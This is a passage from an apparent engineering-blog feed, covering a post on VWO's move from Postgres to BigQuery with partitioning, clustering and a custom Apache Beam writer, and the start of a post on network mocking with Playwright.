warehouses separate analysis workload from transaction workload and enable an organization to consolidate data from several sources. <h2 id="what-do-we-do" style="position:relative;"><a href="#what-do-we-do" aria-label="what do we do permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>What do we do</h2> <a href="https://vwo.com/">VWO</a> is an experimentation platform that lets users run various kinds of A/B tests on their websites, apps, and products to optimize conversions on them. For this, we have to gather traffic from our client’s websites that have the VWO tool implemented in them. And once we store that traffic in our databases, we can provide our clients with meaningful insights from them. We, as a part of the Data Platform Team, are responsible for storing and retrieving this visitor’s data that VWO collects. <h2 id="a-little-bit-of-history-before-bigquery" style="position:relative;"><a href="#a-little-bit-of-history-before-bigquery" aria-label="a little bit of history before bigquery permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>A little bit of History before BigQuery</h2> Before we started with BigQuery, our entire data platform architecture was relying on Postgres which is an OLTP database (online transactional processing, that enables the real-time execution of large numbers of database transactions by large numbers of users). At that moment, the idea of custom events (defined by the client) was not implemented and we just had our own fixed number of internal events that were being captured into Postgres. Postgres worked wonderfully for us and even supports a majority of our legacy architecture as of now, but we encountered two major challenges with our Postgres cluster that made us look into other databases in the market. These challenges were: <ul> <li>We use horizontal sharding in our Postgres Cluster on a specific column key. And, the major issue with sharding is that it’s difficult (not impossible) to horizontally scale Postgres as our data grows.</li> <li>For every feature present in our VWO platform, there is a dedicated table created for it, which is even further partitioned into. These tables belong to the internal events only that we were tracking. Therefore, it makes it difficult to ingest custom events into this database and then run event-based queries for a large corpus of data. Hence making our transition into an event-based architecture was tedious through Postgres.</li> </ul> <h2 id="so-what-were-our-requirements-for-a-new-database" style="position:relative;"><a href="#so-what-were-our-requirements-for-a-new-database" aria-label="so what were our requirements for a new database permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>So what were our Requirements for a new Database?</h2> Now it was time to search for a database that could meet our current as well as future requirements without any major hassle. The basic requirements were: <ul> <li>In 2018, we were in the process of moving from our own server management infrastructure to a cloud-based system and we wanted to incorporate cloud managed services as much as possible so that developers can focus on their core product instead of worrying about managing and operating servers or runtimes. So it would be better to have some serverless solution for that database.</li> <li>Since our VWO platform is a write-heavy system, we needed a database that can handle high write throughput with quick read requests/data analysis. Therefore the idea was to get a data warehouse type of database.</li> <li>For Read Queries: we should be able to perform data analysis on any amount of historical data within seconds for a certain customer and it should not affect other customers in any way.</li> <li>The database should have a bunch of API Client Libraries so that we can plug and play this database with any known programming languages or frameworks.</li> <li>The database should be highly available and also should give us an appropriate balance between strong and eventual consistency.</li> </ul> <h2 id="what-bigquery-brings-to-the-table-for-us" style="position:relative;"><a href="#what-bigquery-brings-to-the-table-for-us" aria-label="what bigquery brings to the table for us permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>What BigQuery Brings to the Table for us</h2> <ul> <li>Serverless: This means you don’t have to manage your VMs (Virtual Machines) for running/maintaining just a database. You also do not need to update BigQuery’s version manually, since it’s all being handled behind the scenes by Google Cloud with next to no downtimes.</li> <li>Data Warehouse Capabilities: It can work well with write-heavy architectures and can store petabytes of data without breaking a sweat.</li> <li>Pricing: Storage is cheap, and you are only billed for how much you read and write data, in contrast to self-managed databases which incurs cost just for maintaining them.</li> <li>SQL Support: BigQuery supports a standard SQL dialect that is ANSI 2011 compliant, which reduces the need for code rewrites. BigQuery also provides ODBC and JDBC drivers at no cost to ensure your current applications can interact with its powerful engine.</li> <li>BigQuery ML: Data scientists and data analysts can build and operationalize ML models on planet-scale structured, semi-structured, and unstructured data directly inside BigQuery, using simple SQL.</li> <li>Tons of Metrics/Alerts: Google Cloud provides all kinds of metrics related to BigQuery which you can find <a href="https://cloud.google.com/monitoring/api/metrics_gcp#gcp-bigquery">here</a>. This will help us to optimize our queries and estimate the costs for the future.</li> </ul> <h2 id="implementation-of-bigquery-in-our-architecture" style="position:relative;"><a href="#implementation-of-bigquery-in-our-architecture" aria-label="implementation of bigquery in our architecture permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Implementation of BigQuery in our Architecture</h2> <ul> <li>BigQuery is acting as our data repository storing all the data points that are being collected. We, therefore, expect BigQuery to be always available. We want to treat BigQuery as the ultimate source of truth for our data. </li> <li>Furthermore, we want to fetch data against some complex conditions/filters prescribed in real-time. Hence, BigQuery is expected to give results in real-time. We have solved this using complex SQL queries.</li> <li>In the future, we want to leverage BigQuery ML on the collected data to get heuristics and help in the prediction of users’ actions on the customers’ connected properties. This may help our customers to take pre-emptive decisions based on heuristics and alter the course of the user’s action to get the desired result.</li> <li>One interesting use case in which we have gone against the recommendations of BigQuery is multiple datasets and multiple tables. This helped us to segregate data and also helped in our query performance as we do not have to scan over the large chunk of data but rather a limited set.</li> </ul> <h2 id="some-optimizations-we-did-in-bigquery" style="position:relative;"><a href="#some-optimizations-we-did-in-bigquery" aria-label="some optimizations we did in bigquery permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Some optimizations we did in BigQuery:</h2> <ul> <li> Partitioning <ul> <li>Every read query of ours has a mandatory specific column filter to retrieve data, so it made sense to partition our tables on the basis of that specific column. It helped us to prevent the scanning of irrelevant rows, thereby decreasing query time and BigQuery slots usage.</li> </ul> </li> <li> Clustering <ul> <li>Clustering sorts storage blocks based on the values in the clustered columns, it worked perfectly for us since there were certain columns that were majorly used for filtering data, and therefore we were able to reduce query time by approximately half whenever clustering columns were used in read queries.</li> </ul> </li> <li> Storage API <ul> <li>BigQuery provides multiple types of API to interact with clients. If your use case is just to read/write data to BigQuery (i.e you don’t want to manage BigQuery resources such as datasets, jobs, or tables), then Storage API would be a perfect fit for you since it provides the fastest RPC APIs for read/write operations.</li> </ul> </li> </ul> <h2 id="challenges-we-faced-while-using-bigquery" style="position:relative;"><a href="#challenges-we-faced-while-using-bigquery" aria-label="challenges we faced while using bigquery permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Challenges we faced while using BigQuery</h2> <ol> <li> Apache beam’s BigQueryIO library <ul> <li> Context <ul> <li>Apache Beam is a framework that lets you define and execute data processing pipelines, including ETL, batch, and stream processing. In simple words, you can create consumers/producers by plugging in different IOs (like BigQueryIO, PubSubIO, etc) directly. You can read more about this framework <a href="https://beam.apache.org/documentation/">here</a>.</li> <li>We were using BigQueryIO (a library/plugin provided by Apache Beam itself) as our sink in our data pipeline. This means, we read data from message queues, do internal transformations and finally write data to BigQuery using Apache Beam’s BigQueryIO.</li> </ul> </li> <li> Problem <ul> <li>One of the crucial parts of our BigQuery database is having multiple datasets and tables which means, we can have thousands of tables in different datasets. Now, this way of storing data created some issues while inserting data through Beam’s BigQueryIO library (we tested it on version 2.26.0).</li> <li>First Issue, while using BigQueryIO for a large number of tables insertions, we found that it has an issue with its local caching technique for table creation. Tables are first searched in the local cache (in the consumer’s memory) and then checked whether to create a table or not. The main issue is when inserting into thousands of tables: let's suppose we have 10k tables to insert in realtime and now since we deploy a fresh dataflow pipeline after every PR merge, the local cache will be empty and it will take an enormous time just to build up that cache for 10k tables (since it will use BigQuery’s API to check if the table is already created or not) even though these 10k tables were already created in BigQuery.</li> <li>Secondly, BigQueryIO does not create datasets dynamically i.e. if the pipeline consumes an entry for a new dataset, then BigQueryIO will not create a new dataset in our database thus leading to insertion failures.</li> </ul> </li> <li> Solution <ul> <li>So we decided to write our own Custom BigQuery writer (as you can see in Figure 1) for Apache Beam. It not only resolved the issues that we had with the official BigQueryIO library but also was very performant in streaming data into BigQuery because we were using BigQuery’s Storage API for insertion.</li> </ul> Figure 1: In-depth explanation of the custom logic we used to improve upon the official BigQueryIO library <div style="text-align:center; margin: 10px;"> <a class="gatsby-resp-image-link" href="/static/0d2c8a0dbec49e12732ff666f4c49308/fa60d/google-bigquery-custom-writer-figure1.png" style="display: block" target="_blank" rel="noopener"> <span class="gatsby-resp-image-background-image" style="padding-bottom: 89.59537572254335%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAYAAABb0P4QAAAACXBIWXMAAAsSAAALEgHS3X78AAAB80lEQVQ4y5WUCYsCMQyF+///mSAI3vd4g+d4jbdGvsAbuq4sbCE2bdrXl5eM4fV6GePxeFi73bbhcGi9Xs/G47H1+30bDAbWaDTcT5LE15PJxOr1uo1GI+t2ux4/n8+OE/gRKON6vXrwcrm4sWa+3W5uxDCdg4gwsCBHLJfLpW02G1utVjadTp0pBnMY4s/nc48vFgs7Ho/fATEAd7ud7fd7n7kECKkhQ6vVcl9nsCzLfgLalxFL8N8ReGW9Xnsa2+3WUzgcDrlpzTl8Zu1jMIw1DaRUKBSsWCxas9n0zfv9nmtGdak+MXx0hcDz+XSJmDGyomiBCn6mygwLCgQAutEumJh9k4gHHBAHVhj+6XTyS7z4qSdnBAKzeJC2A6Zp6s1JWrVazdOldWgLqqt9zsASvWGNUXniNDv7AVTao1QqWbVatXK57JcApD06nY5VKhXfxweE4hGDISDIAjEK5oBxczPDjHQZHOQiWXA53ucRMkAm9vOUBYQ+bMJAeuoxiiRNMXQmEwqnzy8visSmpziAHhipMM9ms/yTk348ygMCE0YOSFqwE3XA1chcZi0jrj+NPwHVe7DiIoeJiynFoxis0ZnHYv0dUP9jANIutAAGOAN2+mMQKGs6gvPqy1+AvIKP2Pr8JDQs9b1ianz24ubmzhtnHGODdOfASgAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;"> <img class="gatsby-resp-image-image" alt="google bigquery custom writer figure1" title="google bigquery custom writer figure1" src="/static/0d2c8a0dbec49e12732ff666f4c49308/1e043/google-bigquery-custom-writer-figure1.png" srcset="/static/0d2c8a0dbec49e12732ff666f4c49308/991de/google-bigquery-custom-writer-figure1.png 173w, /static/0d2c8a0dbec49e12732ff666f4c49308/e4d6b/google-bigquery-custom-writer-figure1.png 345w, /static/0d2c8a0dbec49e12732ff666f4c49308/1e043/google-bigquery-custom-writer-figure1.png 690w, /static/0d2c8a0dbec49e12732ff666f4c49308/e3189/google-bigquery-custom-writer-figure1.png 1035w, /static/0d2c8a0dbec49e12732ff666f4c49308/b1001/google-bigquery-custom-writer-figure1.png 1380w, /static/0d2c8a0dbec49e12732ff666f4c49308/fa60d/google-bigquery-custom-writer-figure1.png 1792w" sizes="(max-width: 690px) 100vw, 690px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy"> </a> </div> </li> </ul> </li> <li> Deletion/Updation of Rows <ul> <li> Problem <ul> <li>Although we understand that it is a bad practice to perform deletion/updation operations in a data warehouse type of database, still there are some 1% scenarios where we need to delete data that was recently ingested in BigQuery. </li> <li>For this, BigQuery says that when a row is inserted into the database through streams, they are present in a Streaming Buffer for 90 mins and you can not delete these rows for the same duration.</li> </ul> </li> <li> Solution <ul> <li>We can’t really do much about it to circumvent this issue since it is a server-side thing and we as a user do not have control over it. But BigQuery provides a way to query the rows present in Streaming Buffer (the ones you can’t delete/update). Now you can perform your DML statements on certain rows after you verified that those rows are not present in the Streaming Buffer anymore.</li> </ul> </li> </ul> </li> <li> BigQuery Slots Usage <ul> <li> Problem <ul> <li>BigQuery slots are the computational capacity required to execute a SQL query. BigQuery uses the concept of slots in an interesting and efficient way to allocate resources so that your query can be executed parallelly in stages. Therefore depending on your query nature and the number of concurrent queries, slots will be consumed. So if you want to read multiple large queries parallely, then BigQuery slots might eat up the majority of your budget. </li> </ul> </li> <li> Solution <ul> <li>Try to optimize your read queries in BigQuery such that your query reads relevant data only, avoid joins such as a cartesian product that can create more output than input, and avoids DML statements that update or insert single rows only.</li> <li>Since BigQuery Slots work on the basis of data size and query complexity, therefore it is always a good idea to keep your query as short and simple as possible.</li> <li>We would suggest you to closely monitor slots usage when you are running this database in a production environment.</li> </ul> </li> </ul> </li> </ol> <h2 id="takeaways" style="position:relative;"><a href="#takeaways" aria-label="takeaways permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Takeaways</h2> It’s been 3 years since we are using BigQuery in our production environment with full write load (ingesting more than 250 million rows per day and being load tested at 10X the load mentioned with no whatsoever decrease in performance) and adequate read load so we can now say with complete confidence that BigQuery will not disappoint you if you are using it as a data warehouse database only. But if you try to use this as an OLTP database, then it might not be the right choice for you. Also, inserting data into BigQuery is cheap but do your calculations beforehand for the amount of BigQuery slots you would use to read the data. <h2 id="helpful-resources" style="position:relative;"><a href="#helpful-resources" aria-label="helpful resources permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Helpful Resources</h2> <ul> <li><a href="https://cloud.google.com/bigquery/docs/partitioned-tables">BigQuery Table Partitioning</a></li> <li><a href="https://cloud.google.com/bigquery/docs/clustered-tables">BigQuery Table Clustering</a></li> <li><a href="https://cloud.google.com/bigquery/docs/write-api#advantages">BigQuery Storage Write API</a></li> <li><a href="https://cloud.google.com/bigquery/docs/reference/storage">BigQuery Storage Read API</a></li> <li><a href="https://cloud.google.com/bigquery/docs/slots">BigQuery Slots</a></li> <li><a href="https://cloud.google.com/bigquery/docs/best-practices-performance-overview">BigQuery Optimizing Query Performance</a></li> <li><a href="https://beam.apache.org/documentation/">Apache Beam Documentation</a></li> <li><a href="https://engineering.wingify.com/posts/dynamic-cdn/">DACDN (Dynamic CDN)</a></li> </ul></content:encoded><author>Vasu Gupta</author></item><item><title><![CDATA[Network Mocking in Playwright]]></title><description><![CDATA[The Requirement In VWO, we have our client-side library which is executed on our customer’s website and it is the stepping stone of every…]]></description><link>https://engineering.wingify.com//posts/Network-Mocking-in-Playwright/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/Network-Mocking-in-Playwright/</guid><pubDate>Thu, 15 Dec 2022 00:00:00 GMT</pubDate><content:encoded><div style="text-align:center; margin: 10px; display: none"> <img src="/images/2022/12/qaWingify.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> <h2 id="the-requirement" style="position:relative;"><a href="#the-requirement" aria-label="the requirement permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>The Requirement</h2> In VWO, we have our client-side library which is executed on our customer’s website and it is the stepping stone of every feature that VWO possesses. Before jumping ahead, let me explain what our client-side library does. <h2 id="our-client-side-library" style="position:relative;"><a href="#our-client-side-library" aria-label="our client side library permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Our Client-Side Library</h2> Like the heart pumps blood in our entire body, that is what the client-side library is for VWO. In a holistic way, our library is responsible for two major things which are as follows:- <ol> <li>Execute different experiments as per their specification and requirement which comprises A/B testing, Session Recordings, Heatmap, and many more.</li> <li>Collect user insights as per the different products and their features.</li> </ol> Note:- To know more about our great products you can visit our website <a href="https://vwo.com/">https://vwo.com/</a> Now as simple as it may have sounded till now, let me tell you that it's not what it looks like. Though our Heart’s main job seems pretty simple, its intrinsic functionality is equally complex. Similarly, our client-side library does all the above-mentioned simple stuff with great precision and keeps serving our system with valuable data. <h2 id="existing-automation-tool" style="position:relative;"><a href="#existing-automation-tool" aria-label="existing automation tool permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Existing Automation Tool</h2> As it is being said “Strong Automation Scripts build Strong Codebase”, probably by some QA guy I guess :-p, We at Wingify have built our automation scripts to keep our heart i.e. client-side library healthy. Until now we have been using Protractor which has always been there to our rescue in both health and sickness. Though it has served us well, but we have our share of challenges with it as listed below:- <ol> <li>No support to mock or verify network calls which is a must for our client-side library.</li> <li>The future updates will be stopped post-2022.</li> <li>Multi-browser support is not great.</li> </ol> <h2 id="the-solution---playwright" style="position:relative;"><a href="#the-solution---playwright" aria-label="the solution playwright permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>The Solution -> Playwright</h2> Since Protractor is fast approaching its end of life we have been on the lookout and after exploring various options and in the end, Playwright was the one we settled with. For more details on why our heart falls for Playwright, you can check our detailed writeup <a href="https://engineering.wingify.com/posts/playwright-the-rightful-heir/">here</a>. So, one of the major reasons for going with Playwright is its built-in support for tracking and mocking network calls, which is a major requirement for our new automation tool. Following are the 3 significant things that we can do with the network calls using Playwright which were useful for us:- <h3 id="--intercepting-the-network" style="position:relative;"><a href="#--intercepting-the-network" aria-label=" intercepting the network permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>-> Intercepting the Network</h3> Playwright provides us with an easy way to just subscribe to the network requests and responses using the “page.on” method. Using this you can filter out any request and assert it in whatever way you want. The sample code is as under:- <div style="text-align:center; margin: 10px;"> <img src="/images/2022/12/page_on.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> It tracks any type of request including XHR and Fetch and using this, we can just write our custom method to filter out the requests of our choice and assert it accordingly. The custom method to filter out requests can be like this:- <div style="text-align:center; margin: 10px;"> <img src="/images/2022/12/custom_method.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> <h3 id="--mocking-the-network" style="position:relative;"><a href="#--mocking-the-network" aria-label=" mocking the network permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>-> Mocking the Network</h3> One more magical method that Playwright equips is “page.route” using which we can handle, modify or abort any requests. It has some useful methods as explained below:- <ul> <li> “route.fulfill” -> Using this we can mock the response which includes the status code, response body, and response headers. <div style="text-align:center; margin: 10px;"> <img src="/images/2022/12/route_fulfill.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> In the above example, we have mocked the response of “fetch_data” api with testData, which can be any JSON of our choice, and the status code is mocked as 200. Using this we can mock the API’s data and may remove the dependency on other services for test data so that we can verify any service in silos. </li> <li> “route.continue” -> Using this we can mock the request that includes request headers, url, parameter, etc. <div style="text-align:center; margin: 10px;"> <img src="/images/2022/12/route_continue.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> In the above example, we have deleted the “X-Secret” header from every request. Using this feature we can remove/update any header or payload which can help us to verify error cases and how our application behaves in such scenarios. </li> <li> “route.abort” -> Using this we can abort any request which can be helpful in creating specific negative testing scenarios where the network call get failed. <div style="text-align:center; margin: 10px;"> <img src="/images/2022/12/route_abort.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> In the above example, all the requests ending with “png, jpg, jpeg” will be aborted. </li> </ul> <h3 id="--the-forever-wait" style="position:relative;"><a href="#--the-forever-wait" aria-label=" the forever wait permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>-> The Forever Wait</h3> When you feel that this tool has everything you can ask for, it comes up with another great feature to surprise you and intrinsic wait for network requests and responses is one of them. Using this feature you can wait for any type of request or response after performing actions like click, scroll, mouse-hover, etc. <div style="text-align:center; margin: 10px;"> <img src="/images/2022/12/route_wait.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> In the above example, we are waiting for the “https://example.com/resource” request after clicking the button as mentioned. If your application is slow, then this feature is nothing but a blessing in disguise and it will be handy to run the suite on a test environment as latency is generally a challenge there. <h2 id="conclusion" style="position:relative;"><a href="#conclusion" aria-label="conclusion permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 